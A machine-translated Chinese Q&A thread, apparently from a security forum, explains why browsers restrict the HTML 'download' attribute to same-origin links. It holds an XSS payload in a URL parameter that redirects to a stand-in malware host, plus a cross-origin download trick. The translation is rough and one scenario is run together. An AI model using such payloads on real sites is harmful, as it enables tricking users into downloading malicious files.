a元素中的下载属性告诉浏览器强制下载文件，否则浏览器会解释该文件。这非常方便，因为用户经常想要下载（例如 jpg）文件而不是让浏览器将其可视化。
<a href="link.jpg" download="myfile.jpg">Click here to download</a>
download某些浏览器会在文件未被同一协议、同一主机和同一端口访问时阻止该属性。这对我来说听起来有点毫无意义，因为它打破了很多好的用例来防止可以通过其他方式规避的东西。
浏览器试图保护的安全隐患是什么？有什么有用的真实例子吗？
这实际上在HTML 生活规范中有所描述：
如果算法到达这一步，那么下载是从与正在下载的资源不同的来源开始的，并且该来源没有将文件标记为适合下载，并且下载不是由用户发起的。这可能是因为使用了下载属性来触发下载，或者因为相关资源不是用户代理支持的类型。
这可能很危险，因为例如，恶意服务器可能试图让用户在不知情的情况下下载私人信息，然后将其重新上传到恶意服务器，方法是诱使用户认为数据来自恶意服务器。
这里描述的场景是：
onlineexcel.attacker.com网站上，允许制作 Excel 文件<a href="https://facebook/myprofile/" download="your-sheet-from-onlineexcel.xlsx">onlineexcel.attacker.com，<input type="file"/>然后选择您认为来自 onlineexcel.attacker.com的文件（因为它是那里的链接）所以这里的危险是用户不知道链接是否是从同一个来源下载的。
这就是为什么规范建议：
因此，以某种方式通知用户所讨论的资源来自完全不同的来源，这符合用户的利益，并且为了防止混淆，应该忽略来自潜在敌对接口来源的任何建议文件名。
但我想，由于这有点难以正确地告诉类似妈妈的用户，所以浏览器更愿意阻止此类下载。
它不仅在a属性中很重要，对其他属性也很重要。这样做的原因是因为它正在查看它是否来自源，这意味着与您的网站相同的主机和相同的端口。
如果无论如何您容易受到使用您网站的攻击，它将阻止它。如果攻击者使用例如 XSS 重定向并让用户下载恶意文件，这可能很有用。诸如：
恶意软件
举个例子 ：
www.super123site.com/hello.php?mesg=hello+world
来自与您的站点相同的端口...
攻击场景：
www.super123site.com/hello.php?mesg=<script> window.location.replace(www.malware.com:8099/maliciousPdf.pdf)</script>
不同的主机，不同的端口，阻塞...
我可以想到一个潜在的安全问题。
如果我创建一个 HTML 文件并在网页上打开它，它会在与其他所有内容相同的来源限制下运行。
如果我可以强制您下载 HTML 文件、双击该文件或从您的浏览器中打开它，那么现在您的本地计算机就有了来源！突然间，恶意的可能性要大得多。
极端情况 同源检查和相关机制的行为在许多极端情况中没有得到很好的定义，例如对于没有明确定义的主机名或与其 URL 关联的端口的伪协议（文件：，数据： ， 等等。）。这在历史上引起了相当多的安全问题，例如任何本地存储的 HTML 文件通常无法访问磁盘上的所有其他文件，或与 Internet 上的任何站点通信。
这是一个现实的威胁吗？或者它是一个理论场景？
你认为攻击者能以某种方式说服潜在受害者下载 HTML 文件并执行它吗？
由于另一个攻击向量的存在，事实证明这不仅仅是一个理论场景。
当文件不是通过相同的协议、在相同的主机和相同的端口上访问时，某些浏览器会阻止下载属性。
这称为 SOP（同源策略）。
这对我来说听起来有点毫无意义，因为它打破了很多好的用例来防止可以通过其他方式规避的东西。
同源政策并非毫无意义。请参考为什么同源政策如此重要？
浏览器试图保护的安全隐患是什么？
允许攻击者在您的网站中嵌入具有下载属性的链接的零日漏洞如何从攻击者域下载恶意文件？
重要一点：虽然 HTTP(s) URL 需要同源，但 blob: URL 和 data: URL 是允许的，以便可以下载由 JavaScript 生成的内容，例如在图像编辑器 Web 应用程序中创建的图片.